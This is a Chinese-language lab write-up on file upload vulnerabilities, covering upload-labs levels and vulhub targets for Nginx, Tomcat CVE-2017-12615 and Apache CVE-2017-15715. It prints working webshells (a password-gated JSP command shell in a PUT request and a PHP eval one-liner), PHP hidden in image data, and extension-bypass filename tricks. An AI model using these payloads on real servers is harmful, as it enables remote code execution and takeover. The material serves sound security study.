文件上传-案例分析
陆续进行更新
什么是文件上传漏洞?
文件上传漏洞有哪些危害?
文件上传漏洞如何查找及判断?
文件上传漏洞有哪些需要注意的地方?
关于文件上传漏洞在实际应用中的说明?
利用
案例
本地文件上传漏洞靶场环境搭建测试
资源:https://github.com/c0ny1/upload-labs
在本地搭建靶场
上传图片并访问
只能上传图片,这里使用的前端js代码进行过滤,我们可以绕过这个js,进行上传我们的后门
网站代码中存在过滤语句,下载网站源码并删掉这个过滤语句
删掉这个script ,删掉后这里没有了提交函数,在form标签加上**action=“”**提交,通过对上面成功上传图片抓包得到上传的地址
<li>
<h3>任务</h3>
<p>上传一个<code>webshell</code>到服务器。</p>
</li>
<li>
<h3>上传区</h3>
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
<p>请选择要上传的图片:</p><p>
<input class="input_file" type="file" name="upload_file">
<input class="button" type="submit" name="submit" value="上传">
</p></form>
<div id="msg">
</div>
<div id="img">
</div>
</li>
<li id="show_code">
<h3>代码</h3>
form标签加上action=“http://localhost:82/Pass-01/index.php”
用游览器打开
选择text.php文件上传,访问
http://localhost:82/upload/20201124032511.png -->> http://localhost:82/upload/text.php
上传成功,后台文件夹:
目录命名-x.php/.
Upload-labs-19:上传代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
上传text.php 抓包:
[
链接地址:http://1.12.250.218:300/upload/upload-19.php/
目录命名-x.php/.(2)
Upload-labs-20:上传代码
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
上传text.php 抓包:
也可以:
root@a30954fb1db2:/var/www/html/upload# ls
sss.php sss.php.
Nginx version 1.X 解析漏洞复现
启动靶机
只允许上传图片
在图片后面加入
?訤?>? IEND瓸`?<?php phpinfo()?><?php phpinfo()?><?php phpinfo()?>
上传并访问
正常 ,继续访问
http://192.168.216.129/uploadfiles/98ac2d858506b06ca53a28ab3dbe8a0e.png/1.php
发现写入的php代码成功执行,这里的Nginx畸形解析
tomcat中间件任意文件上传漏洞 version: 8.5.19
资源:https://vulhub.org/#/environments/tomcat/CVE-2017-12615/
打开靶场查看端口:
crabin@crabin-virtual-machine:~/vulhub/tomcat/CVE-2017-12615$ docker-compose config
services:
tomcat:
build:
context: /home/crabin/vulhub/tomcat/CVE-2017-12615
ports:
- 8080:8080/tcp
version: '2.0'
boup抓包:put上传
PUT /2.jsp/ HTTP/1.1
Host: 192.168.216.129:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 405
<%
if ( "023" .equals(request.getParameter( "pwd" ))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter( "i" )).getInputStream();
int a = - 1 ;
byte [] b = new byte [ 2048 ];
out.print( "<pre>" );
while ((a=in.read(b))!=- 1 ){
out.println( new String(b));
}
out.print( "</pre>" );
}
%>
http://192.168.216.129:8080/2.jsp?i=ls&pwd=023
Apache HTTPD 2.4.0~2.4.29版本 换行解析漏洞(CVE-2017-15715)
https://vulhub.org/#/environments/httpd/CVE-2017-15715/
开启靶场:
上传一个名为1.php的文件,被拦截:
<?php @eval($_POST['a']);?>
<?php phpinfo()?>
[
在1.php后面插入一个\x0A
(注意,不能是\x0D\x0A
,只能是一个\x0A
),不再拦截:
访问刚才上传的/1.php%0a
,发现能够成功解析,但这个文件不是php后缀,说明目标存在解析漏洞:
漏洞原理
此漏洞的出现是由于apache在修复第一个后缀名解析漏洞时,用正则来匹配后缀。在解析php时xxx.php\x0A将被按照php后缀进行解析,导致绕过一些服务器的安全策略。
root@d0eb3a2a6696:/etc/apache2/conf-enabled# cat docker-php.conf
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>
DirectoryIndex disabled
DirectoryIndex index.php index.html
<Directory /var/www/>
Options -Indexes
AllowOverride All
</Directory>
\ .php$ 中的$ 表示配置匹配后缀名文件的防盗链,而这个解析漏洞根本原因就是$ 这个符号,这个符号在正则表达式中是匹配字符串中结尾的位置,也就是说可以利用换行符使$ 与其匹配从而绕过黑名单机制实现文件上传,验证逻辑又是先会对上传的文件正则匹配验证后缀名是否包含了php,因为解析漏洞的存在,这里不会过滤php%0a,后续的黑名单机制也就如同摆设了
和 upload-labs .htaccess 文件后缀解析漏洞 差不多
Apache配置FilesMatch访问控制
<FilesMatch "\.(txt|doc|php)"> //凡是匹配到以txt/php/doc结尾的进行下面的策略匹配
SetHandler application/x-httpd-php
</FilesMatch>
Weblogic 任意文件上传漏洞
参考资源:https://vulhub.org/#/environments/weblogic/CVE-2018-2894/